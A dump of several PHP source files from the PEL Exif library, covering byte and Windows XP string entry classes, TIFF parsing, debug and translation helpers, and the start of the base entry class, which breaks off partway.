35 | * @date $Date$
36 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
37 | * License (GPL)
38 | * @package PEL
39 | */
40 |
41 | /**#@+ Required class definitions. */
42 | require_once('PelEntryNumber.php');
43 | /**#@-*/
44 |
45 |
46 | /**
47 | * Class for holding unsigned bytes.
48 | *
49 | * This class can hold bytes, either just a single byte or an array of
50 | * bytes. The class will be used to manipulate any of the Exif tags
51 | * which has format {@link PelFormat::BYTE}.
52 | *
53 | * @author Martin Geisler
54 | * @package PEL
55 | */
56 | class PelEntryByte extends PelEntryNumber {
57 |
58 | /**
59 | * Make a new entry that can hold an unsigned byte.
60 | *
61 | * The method accept several integer arguments. The {@link
62 | * getValue} method will always return an array except for when a
63 | * single integer argument is given here.
64 | *
65 | * @param PelTag the tag which this entry represents. This
66 | * should be one of the constants defined in {@link PelTag}
67 | * which has format {@link PelFormat::BYTE}.
68 | *
69 | * @param int $value... the byte(s) that this entry will represent.
70 | * The argument passed must obey the same rules as the argument to
71 | * {@link setValue}, namely that it should be within range of an
72 | * unsigned byte, that is between 0 and 255 (inclusive). If not,
73 | * then a {@link PelOverflowException} will be thrown.
74 | */
75 | function __construct($tag /* $value... */) {
76 | $this->tag = $tag;
77 | $this->min = 0;
78 | $this->max = 255;
79 | $this->format = PelFormat::BYTE;
80 |
81 | $value = func_get_args();
82 | array_shift($value);
83 | $this->setValueArray($value);
84 | }
85 |
86 |
87 | /**
88 | * Convert a number into bytes.
89 | *
90 | * @param int the number that should be converted.
91 | *
92 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
93 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
94 | *
95 | * @return string bytes representing the number given.
96 | */
97 | function numberToBytes($number, $order) {
98 | return chr($number);
99 | }
100 |
101 | }
102 |
103 |
104 | /**
105 | * Class for holding signed bytes.
106 | *
107 | * This class can hold bytes, either just a single byte or an array of
108 | * bytes. The class will be used to manipulate any of the Exif tags
109 | * which has format {@link PelFormat::BYTE}.
110 | *
111 | * @author Martin Geisler
112 | * @package PEL
113 | */
114 | class PelEntrySByte extends PelEntryNumber {
115 |
116 | /**
117 | * Make a new entry that can hold a signed byte.
118 | *
119 | * The method accept several integer arguments. The {@link getValue}
120 | * method will always return an array except for when a single
121 | * integer argument is given here.
122 | *
123 | * @param PelTag the tag which this entry represents. This
124 | * should be one of the constants defined in {@link PelTag}
125 | * which has format {@link PelFormat::BYTE}.
126 | *
127 | * @param int $value... the byte(s) that this entry will represent.
128 | * The argument passed must obey the same rules as the argument to
129 | * {@link setValue}, namely that it should be within range of a
130 | * signed byte, that is between -128 and 127 (inclusive). If not,
131 | * then a {@link PelOverflowException} will be thrown.
132 | */
133 | function __construct($tag /* $value... */) {
134 | $this->tag = $tag;
135 | $this->min = -128;
136 | $this->max = 127;
137 | $this->format = PelFormat::SBYTE;
138 |
139 | $value = func_get_args();
140 | array_shift($value);
141 | $this->setValueArray($value);
142 | }
143 |
144 |
145 | /**
146 | * Convert a number into bytes.
147 | *
148 | * @param int the number that should be converted.
149 | *
150 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
151 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
152 | *
153 | * @return string bytes representing the number given.
154 | */
155 | function numberToBytes($number, $order) {
156 | return chr($number);
157 | }
158 |
159 | }
160 |
161 |
162 | /**
163 | * Class used to manipulate strings in the format Windows XP uses.
164 | *
165 | * When examining the file properties of an image in Windows XP one
166 | * can fill in title, comment, author, keyword, and subject fields.
167 | * Filling those fields and pressing OK will result in the data being
168 | * written into the Exif data in the image.
169 | *
170 | * The data is written in a non-standard format and can thus not be
171 | * loaded directly --- this class is needed to translate it into
172 | * normal strings.
173 | *
174 | * It is important that entries from this class are only created with
175 | * the {@link PelTag::XP_TITLE}, {@link PelTag::XP_COMMENT}, {@link
176 | * PelTag::XP_AUTHOR}, {@link PelTag::XP_KEYWORD}, and {@link
177 | * PelTag::XP_SUBJECT} tags. If another tag is used the data will no
178 | * longer be correctly decoded when reloaded with PEL. (The data will
179 | * be loaded as an {@link PelEntryByte} entry, which isn't as useful.)
180 | *
181 | * This class is to be used as in
182 | *
183 | * $title = $ifd->getEntry(PelTag::XP_TITLE);
184 | * print($title->getValue());
185 | * $title->setValue('My favorite cat');
186 | *
187 | * or if no entry is present one can add a new one with
188 | *
189 | * $title = new PelEntryWindowsString(PelTag::XP_TITLE, 'A cute dog.');
190 | * $ifd->addEntry($title);
191 | *
192 | *
193 | * @author Martin Geisler
194 | * @package PEL
195 | */
196 | class PelEntryWindowsString extends PelEntry {
197 |
198 | /**
199 | * The string hold by this entry.
200 | *
201 | * This is the string that was given to the {@link __construct
202 | * constructor} or later to {@link setValue}, without any extra NULL
203 | * characters or any such nonsense.
204 | *
205 | * @var string
206 | */
207 | private $str;
208 |
209 |
210 | /**
211 | * Make a new PelEntry that can hold a Windows XP specific string.
212 | *
213 | * @param int the tag which this entry represents. This should be
214 | * one of {@link PelTag::XP_TITLE}, {@link PelTag::XP_COMMENT},
215 | * {@link PelTag::XP_AUTHOR}, {@link PelTag::XP_KEYWORD}, and {@link
216 | * PelTag::XP_SUBJECT} tags. If another tag is used, then this
217 | * entry will be incorrectly reloaded as a {@link PelEntryByte}.
218 | *
219 | * @param string the string that this entry will represent. It will
220 | * be passed to {@link setValue} and thus has to obey its
221 | * requirements.
222 | */
223 | function __construct($tag, $str = '') {
224 | $this->tag = $tag;
225 | $this->format = PelFormat::BYTE;
226 | $this->setValue($str);
227 | }
228 |
229 |
230 | /**
231 | * Give the entry a new value.
232 | *
233 | * This will overwrite the previous value. The value can be
234 | * retrieved later with the {@link getValue} method.
235 | *
236 | * @param string the new value of the entry. This should be use the
237 | * Latin-1 encoding and be given without any extra NULL characters.
238 | */
239 | function setValue($str) {
240 | $l = strlen($str);
241 |
242 | $this->components = 2 * ($l + 1);
243 | $this->str = $str;
244 | $this->bytes = '';
245 | for ($i = 0; $i < $l; $i++)
246 | $this->bytes .= $str{$i} . chr(0x00);
247 |
248 | $this->bytes .= chr(0x00) . chr(0x00);
249 | }
250 |
251 |
252 | /**
253 | * Return the string of the entry.
254 | *
255 | * @return string the string held, without any extra NULL
256 | * characters. The string will be the same as the one given to
257 | * {@link setValue} or to the {@link __construct constructor}.
258 | */
259 | function getValue() {
260 | return $this->str;
261 | }
262 |
263 |
264 | /**
265 | * Return the string of the entry.
266 | *
267 | * This methods returns the same as {@link getValue}.
268 | *
269 | * @param boolean not used.
270 | *
271 | * @return string the string held, without any extra NULL
272 | * characters. The string will be the same as the one given to
273 | * {@link setValue} or to the {@link __construct constructor}.
274 | */
275 | function getText($brief = false) {
276 | return $this->str;
277 | }
278 |
279 | }
280 |
281 |
--------------------------------------------------------------------------------
/pel/PelTiff.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelDataWindow.php');
41 | require_once('PelIfd.php');
42 | require_once('Pel.php');
43 | /**#@-*/
44 |
45 |
46 | /**
47 | * Class for handling TIFF data.
48 | *
49 | * Exif data is actually an extension of the TIFF file format. TIFF
50 | * images consist of a number of {@link PelIfd Image File Directories}
51 | * (IFDs), each containing a number of {@link PelEntry entries}. The
52 | * IFDs are linked to each other --- one can get hold of the first one
53 | * with the {@link getIfd()} method.
54 | *
55 | * To parse a TIFF image for Exif data one would do:
56 | *
57 | *
58 | * $tiff = new PelTiff($data);
59 | * $ifd0 = $tiff->getIfd();
60 | * $exif = $ifd0->getSubIfd(PelIfd::EXIF);
61 | * $ifd1 = $ifd0->getNextIfd();
62 | *
63 | *
64 | * Should one have some image data of an unknown type, then the {@link
65 | * PelTiff::isValid()} function is handy: it will quickly test if the
66 | * data could be valid TIFF data. The {@link PelJpeg::isValid()}
67 | * function does the same for JPEG images.
68 | *
69 | * @author Martin Geisler
70 | * @package PEL
71 | */
72 | class PelTiff {
73 |
74 | /**
75 | * TIFF header.
76 | *
77 | * This must follow after the two bytes indicating the byte order.
78 | */
79 | const TIFF_HEADER = 0x002A;
80 |
81 | /**
82 | * The first Image File Directory, if any.
83 | *
84 | * If set, then the type of the IFD must be {@link PelIfd::IFD0}.
85 | *
86 | * @var PelIfd
87 | */
88 | private $ifd = null;
89 |
90 |
91 | /**
92 | * Construct a new object for holding TIFF data.
93 | *
94 | * The new object will be empty (with no {@link PelIfd}) unless an
95 | * argument is given from which it can initialize itself. This can
96 | * either be the filename of a TIFF image or a {@link PelDataWindow}
97 | * object.
98 | *
99 | * Use {@link setIfd()} to explicitly set the IFD.
100 | */
101 | function __construct($data = false) {
102 | if ($data === false)
103 | return;
104 |
105 | if (is_string($data)) {
106 | Pel::debug('Initializing PelTiff object from %s', $data);
107 | $this->loadFile($data);
108 | } elseif ($data instanceof PelDataWindow) {
109 | Pel::debug('Initializing PelTiff object from PelDataWindow.');
110 | $this->load($data);
111 | } else {
112 | throw new PelInvalidArgumentException('Bad type for $data: %s',
113 | gettype($data));
114 | }
115 | }
116 |
117 |
118 | /**
119 | * Load TIFF data.
120 | *
121 | * The data given will be parsed and an internal tree representation
122 | * will be built. If the data cannot be parsed correctly, a {@link
123 | * PelInvalidDataException} is thrown, explaining the problem.
124 | *
125 | * @param PelDataWindow the data from which the object will be
126 | * constructed. This should be valid TIFF data, coming either
127 | * directly from a TIFF image or from the Exif data in a JPEG image.
128 | */
129 | function load(PelDataWindow $d) {
130 | Pel::debug('Parsing %d bytes of TIFF data...', $d->getSize());
131 |
132 | /* There must be at least 8 bytes available: 2 bytes for the byte
133 | * order, 2 bytes for the TIFF header, and 4 bytes for the offset
134 | * to the first IFD. */
135 | if ($d->getSize() < 8)
136 | throw new PelInvalidDataException('Expected at least 8 bytes of TIFF ' .
137 | 'data, found just %d bytes.',
138 | $d->getSize());
139 |
140 | /* Byte order */
141 | if ($d->strcmp(0, 'II')) {
142 | Pel::debug('Found Intel byte order');
143 | $d->setByteOrder(PelConvert::LITTLE_ENDIAN);
144 | } elseif ($d->strcmp(0, 'MM')) {
145 | Pel::debug('Found Motorola byte order');
146 | $d->setByteOrder(PelConvert::BIG_ENDIAN);
147 | } else {
148 | throw new PelInvalidDataException('Unknown byte order found in TIFF ' .
149 | 'data: 0x%2X%2X',
150 | $d->getByte(0), $d->getByte(1));
151 | }
152 |
153 | /* Verify the TIFF header */
154 | if ($d->getShort(2) != self::TIFF_HEADER)
155 | throw new PelInvalidDataException('Missing TIFF magic value.');
156 |
157 | /* IFD 0 offset */
158 | $offset = $d->getLong(4);
159 | Pel::debug('First IFD at offset %d.', $offset);
160 |
161 | if ($offset > 0) {
162 | /* Parse the first IFD, this will automatically parse the
163 | * following IFDs and any sub IFDs. */
164 | $this->ifd = new PelIfd(PelIfd::IFD0);
165 | $this->ifd->load($d, $offset);
166 | }
167 | }
168 |
169 |
170 | /**
171 | * Load data from a file into a TIFF object.
172 | *
173 | * @param string the filename. This must be a readable file.
174 | */
175 | function loadFile($filename) {
176 | $this->load(new PelDataWindow(file_get_contents($filename)));
177 | }
178 |
179 |
180 | /**
181 | * Set the first IFD.
182 | *
183 | * @param PelIfd the new first IFD, which must be of type {@link
184 | * PelIfd::IFD0}.
185 | */
186 | function setIfd(PelIfd $ifd) {
187 | if ($ifd->getType() != PelIfd::IFD0)
188 | throw new PelInvalidDataException('Invalid type of IFD: %d, expected %d.',
189 | $ifd->getType(), PelIfd::IFD0);
190 |
191 | $this->ifd = $ifd;
192 | }
193 |
194 |
195 | /**
196 | * Return the first IFD.
197 | *
198 | * @return PelIfd the first IFD contained in the TIFF data, if any.
199 | * If there is no IFD null will be returned.
200 | */
201 | function getIfd() {
202 | return $this->ifd;
203 | }
204 |
205 |
206 | /**
207 | * Turn this object into bytes.
208 | *
209 | * TIFF images can have {@link PelConvert::LITTLE_ENDIAN
210 | * little-endian} or {@link PelConvert::BIG_ENDIAN big-endian} byte
211 | * order, and so this method takes an argument specifying that.
212 | *
213 | * @param PelByteOrder the desired byte order of the TIFF data.
214 | * This should be one of {@link PelConvert::LITTLE_ENDIAN} or {@link
215 | * PelConvert::BIG_ENDIAN}.
216 | *
217 | * @return string the bytes representing this object.
218 | */
219 | function getBytes($order = PelConvert::LITTLE_ENDIAN) {
220 | if ($order == PelConvert::LITTLE_ENDIAN)
221 | $bytes = 'II';
222 | else
223 | $bytes = 'MM';
224 |
225 | /* TIFF magic number --- fixed value. */
226 | $bytes .= PelConvert::shortToBytes(self::TIFF_HEADER, $order);
227 |
228 | if ($this->ifd != null) {
229 | /* IFD 0 offset. We will always start IDF 0 at an offset of 8
230 | * bytes (2 bytes for byte order, another 2 bytes for the TIFF
231 | * header, and 4 bytes for the IFD 0 offset make 8 bytes
232 | * together).
233 | */
234 | $bytes .= PelConvert::longToBytes(8, $order);
235 |
236 | /* The argument specifies the offset of this IFD. The IFD will
237 | * use this to calculate offsets from the entries to their data,
238 | * all those offsets are absolute offsets counted from the
239 | * beginning of the data. */
240 | $bytes .= $this->ifd->getBytes(8, $order);
241 | } else {
242 | $bytes .= PelConvert::longToBytes(0, $order);
243 | }
244 |
245 | return $bytes;
246 | }
247 |
248 |
249 | /**
250 | * Return a string representation of this object.
251 | *
252 | * @return string a string describing this object. This is mostly useful
253 | * for debugging.
254 | */
255 | function __toString() {
256 | $str = Pel::fmt("Dumping TIFF data...\n");
257 | if ($this->ifd != null)
258 | $str .= $this->ifd->__toString();
259 |
260 | return $str;
261 | }
262 |
263 |
264 | /**
265 | * Check if data is valid TIFF data.
266 | *
267 | * This will read just enough data from the data window to determine
268 | * if the data could be a valid TIFF data. This means that the
269 | * check is more like a heuristic than a rigorous check.
270 | *
271 | * @param PelDataWindow the bytes that will be examined.
272 | *
273 | * @return boolean true if the data looks like valid TIFF data,
274 | * false otherwise.
275 | *
276 | * @see PelJpeg::isValid()
277 | */
278 | static function isValid(PelDataWindow $d) {
279 | /* First check that we have enough data. */
280 | if ($d->getSize() < 8)
281 | return false;
282 |
283 | /* Byte order */
284 | if ($d->strcmp(0, 'II')) {
285 | $d->setByteOrder(PelConvert::LITTLE_ENDIAN);
286 | } elseif ($d->strcmp(0, 'MM')) {
287 | Pel::debug('Found Motorola byte order');
288 | $d->setByteOrder(PelConvert::BIG_ENDIAN);
289 | } else {
290 | return false;
291 | }
292 |
293 | /* Verify the TIFF header */
294 | return $d->getShort(2) == self::TIFF_HEADER;
295 | }
296 |
297 | }
--------------------------------------------------------------------------------
/pel/Pel.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 |
40 | /* Initialize Gettext, if available. This must be done before any
41 | * part of PEL calls Pel::tra() or Pel::fmt() --- this is ensured if
42 | * every piece of code using those two functions require() this file.
43 | *
44 | * If Gettext is not available, wrapper functions will be created,
45 | * allowing PEL to function, but without any translations.
46 | *
47 | * The PEL translations are stored in './locale'. It is important to
48 | * use an absolute path here because the lookups will be relative to
49 | * the current directory. */
50 |
51 | if (function_exists('dgettext')) {
52 | bindtextdomain('pel', dirname(__FILE__) . '/locale');
53 | } else {
54 |
55 | /**
56 | * Pretend to lookup a message in a specific domain.
57 | *
58 | * This is just a stub which will return the original message
59 | * untranslated. The function will only be defined if the Gettext
60 | * extension has not already defined it.
61 | *
62 | * @param string $domain the domain.
63 | *
64 | * @param string $str the message to be translated.
65 | *
66 | * @return string the original, untranslated message.
67 | */
68 | function dgettext($domain, $str) {
69 | return $str;
70 | }
71 | }
72 |
73 |
74 | /**
75 | * Class with miscellaneous static methods.
76 | *
77 | * This class will contain various methods that govern the overall
78 | * behavior of PEL.
79 | *
80 | * Debugging output from PEL can be turned on and off by assigning
81 | * true or false to {@link Pel::$debug}.
82 | *
83 | * @author Martin Geisler
84 | * @package PEL
85 | */
86 | class Pel {
87 |
88 | /**
89 | * Flag for controlling debug information.
90 | *
91 | * The methods producing debug information ({@link debug()} and
92 | * {@link warning()}) will only output something if this variable is
93 | * set to true.
94 | *
95 | * @var boolean
96 | */
97 | private static $debug = false;
98 |
99 | /**
100 | * Flag for strictness of parsing.
101 | *
102 | * If this variable is set to true, then most errors while loading
103 | * images will result in exceptions being thrown. Otherwise a
104 | * warning will be emitted (using {@link Pel::warning}) and the
105 | * exceptions will be appended to {@link Pel::$exceptions}.
106 | *
107 | * Some errors will still be fatal and result in thrown exceptions,
108 | * but an effort will be made to skip over as much garbage as
109 | * possible.
110 | *
111 | * @var boolean
112 | */
113 | private static $strict = false;
114 |
115 | /**
116 | * Stored exceptions.
117 | *
118 | * When {@link Pel::$strict} is set to false exceptions will be
119 | * accumulated here instead of being thrown.
120 | */
121 | private static $exceptions = array();
122 |
123 | /**
124 | * Quality setting for encoding JPEG images.
125 | *
126 | * This controls the quality used then PHP image resources are
127 | * encoded into JPEG images. This happens when you create a
128 | * {@link PelJpeg} object based on an image resource.
129 | *
130 | * The default is 75 for average quality images, but you can change
131 | * this to an integer between 0 and 100.
132 | *
133 | * @var int
134 | */
135 | private static $quality = 75;
136 |
137 |
138 | /**
139 | * Set the JPEG encoding quality.
140 | *
141 | * @param int $quality an integer between 0 and 100 with 75 being
142 | * average quality and 95 very good quality.
143 | */
144 | function setJPEGQuality($quality) {
145 | self::$quality = $quality;
146 | }
147 |
148 |
149 | /**
150 | * Get current setting for JPEG encoding quality.
151 | *
152 | * @return int the quality.
153 | */
154 | function getJPEGQuality() {
155 | return self::$quality;
156 | }
157 |
158 |
159 | /**
160 | * Return list of stored exceptions.
161 | *
162 | * When PEL is parsing in non-strict mode, it will store most
163 | * exceptions instead of throwing them. Use this method to get hold
164 | * of them when a call returns.
165 | *
166 | * Code for using this could look like this:
167 | *
168 | *
169 | * Pel::setStrictParsing(true);
170 | * Pel::clearExceptions();
171 | *
172 | * $jpeg = new PelJpeg($file);
173 | *
174 | * // Check for exceptions.
175 | * foreach (Pel::getExceptions() as $e) {
176 | * printf("Exception: %s\n", $e->getMessage());
177 | * if ($e instanceof PelEntryException) {
178 | * // Warn about entries that couldn't be loaded.
179 | * printf("Warning: Problem with %s.\n",
180 | * PelTag::getName($e->getType(), $e->getTag()));
181 | * }
182 | * }
183 | *
184 | *
185 | * This gives applications total control over the amount of error
186 | * messages shown and (hopefully) provides the necessary information
187 | * for proper error recovery.
188 | *
189 | * @return array the exceptions.
190 | */
191 | static function getExceptions() {
192 | return self::$exceptions;
193 | }
194 |
195 |
196 | /**
197 | * Clear list of stored exceptions.
198 | *
199 | * Use this function before a call to some method if you intend to
200 | * check for exceptions afterwards.
201 | */
202 | static function clearExceptions() {
203 | self::$exceptions = array();
204 | }
205 |
206 |
207 | /**
208 | * Conditionally throw an exception.
209 | *
210 | * This method will throw the passed exception when strict parsing
211 | * in effect (see {@link setStrictParsing()}). Otherwise the
212 | * exception is stored (it can be accessed with {@link
213 | * getExceptions()}) and a warning is issued (with {@link
214 | * Pel::warning}).
215 | *
216 | * @param PelException $e the exceptions.
217 | */
218 | static function maybeThrow(PelException $e) {
219 | if (self::$strict) {
220 | throw $e;
221 | } else {
222 | self::$exceptions[] = $e;
223 | self::warning('%s (%s:%s)', $e->getMessage(),
224 | basename($e->getFile()), $e->getLine());
225 | }
226 | }
227 |
228 |
229 | /**
230 | * Enable/disable strict parsing.
231 | *
232 | * If strict parsing is enabled, then most errors while loading
233 | * images will result in exceptions being thrown. Otherwise a
234 | * warning will be emitted (using {@link Pel::warning}) and the
235 | * exceptions will be stored for later use via {@link
236 | * getExceptions()}.
237 | *
238 | * Some errors will still be fatal and result in thrown exceptions,
239 | * but an effort will be made to skip over as much garbage as
240 | * possible.
241 | *
242 | * @param boolean $flag use true to enable strict parsing, false to
243 | * diable.
244 | */
245 | function setStrictParsing($flag) {
246 | self::$strict = $flag;
247 | }
248 |
249 |
250 | /**
251 | * Get current setting for strict parsing.
252 | *
253 | * @return boolean true if strict parsing is in effect, false
254 | * otherwise.
255 | */
256 | function getStrictParsing() {
257 | return self::$strict;
258 | }
259 |
260 |
261 | /**
262 | * Enable/disable debugging output.
263 | *
264 | * @param boolean $flag use true to enable debug output, false to
265 | * diable.
266 | */
267 | function setDebug($flag) {
268 | self::$debug = $flag;
269 | }
270 |
271 |
272 | /**
273 | * Get current setting for debug output.
274 | *
275 | * @return boolean true if debug is enabled, false otherwise.
276 | */
277 | function getDebug() {
278 | return self::$debug;
279 | }
280 |
281 |
282 | /**
283 | * Conditionally output debug information.
284 | *
285 | * This method works just like printf() except that it always
286 | * terminates the output with a newline, and that it only outputs
287 | * something if the {@link Pel::$debug} is true.
288 | *
289 | * @param string $format the format string.
290 | *
291 | * @param mixed $args,... any number of arguments can be given. The
292 | * arguments will be available for the format string as usual with
293 | * sprintf().
294 | */
295 | static function debug() {
296 | if (self::$debug) {
297 | $args = func_get_args();
298 | $str = array_shift($args);
299 | vprintf($str . "\n", $args);
300 | }
301 | }
302 |
303 |
304 | /**
305 | * Conditionally output a warning.
306 | *
307 | * This method works just like printf() except that it prepends the
308 | * output with the string 'Warning: ', terminates the output with a
309 | * newline, and that it only outputs something if the PEL_DEBUG
310 | * defined to some true value.
311 | *
312 | * @param string $format the format string.
313 | *
314 | * @param mixed $args,... any number of arguments can be given. The
315 | * arguments will be available for the format string as usual with
316 | * sprintf().
317 | */
318 | static function warning() {
319 | if (self::$debug) {
320 | $args = func_get_args();
321 | $str = array_shift($args);
322 | vprintf('Warning: ' . $str . "\n", $args);
323 | }
324 | }
325 |
326 |
327 | /**
328 | * Translate a string.
329 | *
330 | * This static function will use Gettext to translate a string. By
331 | * always using this function for static string one is assured that
332 | * the translation will be taken from the correct text domain.
333 | * Dynamic strings should be passed to {@link fmt} instead.
334 | *
335 | * @param string the string that should be translated.
336 | *
337 | * @return string the translated string, or the original string if
338 | * no translation could be found.
339 | */
340 | static function tra($str) {
341 | return dgettext('pel', $str);
342 | }
343 |
344 |
345 | /**
346 | * Translate and format a string.
347 | *
348 | * This static function will first use Gettext to translate a format
349 | * string, which will then have access to any extra arguments. By
350 | * always using this function for dynamic string one is assured that
351 | * the translation will be taken from the correct text domain. If
352 | * the string is static, use {@link tra} instead as it will be
353 | * faster.
354 | *
355 | * @param string $format the format string. This will be translated
356 | * before being used as a format string.
357 | *
358 | * @param mixed $args,... any number of arguments can be given. The
359 | * arguments will be available for the format string as usual with
360 | * sprintf().
361 | *
362 | * @return string the translated string, or the original string if
363 | * no translation could be found.
364 | */
365 | static function fmt() {
366 | $args = func_get_args();
367 | $str = array_shift($args);
368 | return vsprintf(dgettext('pel', $str), $args);
369 | }
370 |
371 | }
372 |
373 |
--------------------------------------------------------------------------------
/pel/PelEntry.php:
--------------------------------------------------------------------------------
1 |
38 | * @version $Revision$
39 | * @date $Date$
40 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
41 | * License (GPL)
42 | * @package PEL
43 | */
44 |
45 | /**#@+ Required class definitions. */
46 | require_once('PelException.php');
47 | require_once('PelFormat.php');
48 | require_once('PelTag.php');
49 | require_once('Pel.php');
50 | /**#@-*/
51 |
52 |
53 | /**
54 | * Exception indicating a problem with an entry.
55 | *
56 | * @author Martin Geisler
57 | * @package PEL
58 | * @subpackage Exception
59 | */
60 | class PelEntryException extends PelException {
61 |
62 | /**
63 | * The IFD type (if known).
64 | *
65 | * @var int
66 | */
67 | protected $type;
68 |
69 | /**
70 | * The tag of the entry (if known).
71 | *
72 | * @var PelTag
73 | */
74 | protected $tag;
75 |
76 | /**
77 | * Get the IFD type associated with the exception.
78 | *
79 | * @return int one of {@link PelIfd::IFD0}, {@link PelIfd::IFD1},
80 | * {@link PelIfd::EXIF}, {@link PelIfd::GPS}, or {@link
81 | * PelIfd::INTEROPERABILITY}. If no type is set, null is returned.
82 | */
83 | function getIfdType() {
84 | return $this->type;
85 | }
86 |
87 |
88 | /**
89 | * Get the tag associated with the exception.
90 | *
91 | * @return PelTag the tag. If no tag is set, null is returned.
92 | */
93 | function getTag() {
94 | return $this->tag;
95 | }
96 |
97 | }
98 |
99 |
100 | /**
101 | * Exception indicating that an unexpected format was found.
102 | *
103 | * The documentation for each tag in {@link PelTag} will detail any
104 | * constrains.
105 | *
106 | * @author Martin Geisler
107 | * @package PEL
108 | * @subpackage Exception
109 | */
110 | class PelUnexpectedFormatException extends PelEntryException {
111 |
112 | /**
113 | * Construct a new exception indicating an invalid format.
114 | *
115 | * @param int the type of IFD.
116 | *
117 | * @param PelTag the tag for which the violation was found.
118 | *
119 | * @param PelFormat the format found.
120 | *
121 | * @param PelFormat the expected format.
122 | */
123 | function __construct($type, $tag, $found, $expected) {
124 | parent::__construct('Unexpected format found for %s tag: PelFormat::%s. ' .
125 | 'Expected PelFormat::%s instead.',
126 | PelTag::getName($type, $tag),
127 | strtoupper(PelFormat::getName($found)),
128 | strtoupper(PelFormat::getName($expected)));
129 | $this->tag = $tag;
130 | $this->type = $type;
131 | }
132 | }
133 |
134 |
135 | /**
136 | * Exception indicating that an unexpected number of components was
137 | * found.
138 | *
139 | * Some tags have strict limits as to the allowed number of
140 | * components, and this exception is thrown if the data violates such
141 | * a constraint. The documentation for each tag in {@link PelTag}
142 | * explains the expected number of components.
143 | *
144 | * @author Martin Geisler
145 | * @package PEL
146 | * @subpackage Exception
147 | */
148 | class PelWrongComponentCountException extends PelEntryException {
149 |
150 | /**
151 | * Construct a new exception indicating a wrong number of
152 | * components.
153 | *
154 | * @param int the type of IFD.
155 | *
156 | * @param PelTag the tag for which the violation was found.
157 | *
158 | * @param int the number of components found.
159 | *
160 | * @param int the expected number of components.
161 | */
162 | function __construct($type, $tag, $found, $expected) {
163 | parent::__construct('Wrong number of components found for %s tag: %d. ' .
164 | 'Expected %d.',
165 | PelTag::getName($type, $tag), $found, $expected);
166 | $this->tag = $tag;
167 | $this->type = $type;
168 | }
169 | }
170 |
171 |
172 | /**
173 | * Common ancestor class of all {@link PelIfd} entries.
174 | *
175 | * As this class is abstract you cannot instantiate objects from it.
176 | * It only serves as a common ancestor to define the methods common to
177 | * all entries. The most important methods are {@link getValue()} and
178 | * {@link setValue()}, both of which is abstract in this class. The
179 | * descendants will give concrete implementations for them.
180 | *
181 | * If you have some data coming from an image (some raw bytes), then
182 | * the static method {@link newFromData()} is helpful --- it will look
183 | * at the data and give you a proper decendent of {@link PelEntry}
184 | * back.
185 | *
186 | * If you instead want to have an entry for some data which take the
187 | * form of an integer, a string, a byte, or some other PHP type, then
188 | * don't use this class. You should instead create an object of the
189 | * right subclass ({@link PelEntryShort} for short integers, {@link
190 | * PelEntryAscii} for strings, and so on) directly.
191 | *
192 | * @author Martin Geisler
193 | * @package PEL
194 | */
195 | abstract class PelEntry {
196 |
197 | /**
198 | * Type of IFD containing this tag.
199 | *
200 | * This must be one of the constants defined in {@link PelIfd}:
201 | * {@link PelIfd::IFD0} for the main image IFD, {@link PelIfd::IFD1}
202 | * for the thumbnail image IFD, {@link PelIfd::EXIF} for the Exif
203 | * sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or {@link
204 | * PelIfd::INTEROPERABILITY} for the interoperability sub-IFD.
205 | *
206 | * @var int
207 | */
208 | protected $ifd_type;
209 |
210 | /**
211 | * The bytes representing this entry.
212 | *
213 | * Subclasses must either override {@link getBytes()} or, if
214 | * possible, maintain this property so that it always contains a
215 | * true representation of the entry.
216 | *
217 | * @var string
218 | */
219 | protected $bytes = '';
220 |
221 | /**
222 | * The {@link PelTag} of this entry.
223 | *
224 | * @var PelTag
225 | */
226 | protected $tag;
227 |
228 | /**
229 | * The {@link PelFormat} of this entry.
230 | *
231 | * @var PelFormat
232 | */
233 | protected $format;
234 |
235 | /**
236 | * The number of components of this entry.
237 | *
238 | * @var int
239 | */
240 | protected $components;
241 |
242 |
243 | /**
244 | * Return the tag of this entry.
245 | *
246 | * @return PelTag the tag of this entry.
247 | */
248 | function getTag() {
249 | return $this->tag;
250 | }
251 |
252 |
253 | /**
254 | * Return the type of IFD which holds this entry.
255 | *
256 | * @return int one of the constants defined in {@link PelIfd}:
257 | * {@link PelIfd::IFD0} for the main image IFD, {@link PelIfd::IFD1}
258 | * for the thumbnail image IFD, {@link PelIfd::EXIF} for the Exif
259 | * sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or {@link
260 | * PelIfd::INTEROPERABILITY} for the interoperability sub-IFD.
261 | */
262 | function getIfdType() {
263 | return $this->ifd_type;
264 | }
265 |
266 |
267 | /**
268 | * Update the IFD type.
269 | *
270 | * @param int must be one of the constants defined in {@link
271 | * PelIfd}: {@link PelIfd::IFD0} for the main image IFD, {@link
272 | * PelIfd::IFD1} for the thumbnail image IFD, {@link PelIfd::EXIF}
273 | * for the Exif sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or
274 | * {@link PelIfd::INTEROPERABILITY} for the interoperability
275 | * sub-IFD.
276 | */
277 | function setIfdType($type) {
278 | $this->ifd_type = $type;
279 | }
280 |
281 |
282 | /**
283 | * Return the format of this entry.
284 | *
285 | * @return PelFormat the format of this entry.
286 | */
287 | function getFormat() {
288 | return $this->format;
289 | }
290 |
291 |
292 | /**
293 | * Return the number of components of this entry.
294 | *
295 | * @return int the number of components of this entry.
296 | */
297 | function getComponents() {
298 | return $this->components;
299 | }
300 |
301 |
302 | /**
303 | * Turn this entry into bytes.
304 | *
305 | * @param PelByteOrder the desired byte order, which must be either
306 | * {@link Convert::LITTLE_ENDIAN} or {@link Convert::BIG_ENDIAN}.
307 | *
308 | * @return string bytes representing this entry.
309 | */
310 | function getBytes($o) {
311 | return $this->bytes;
312 | }
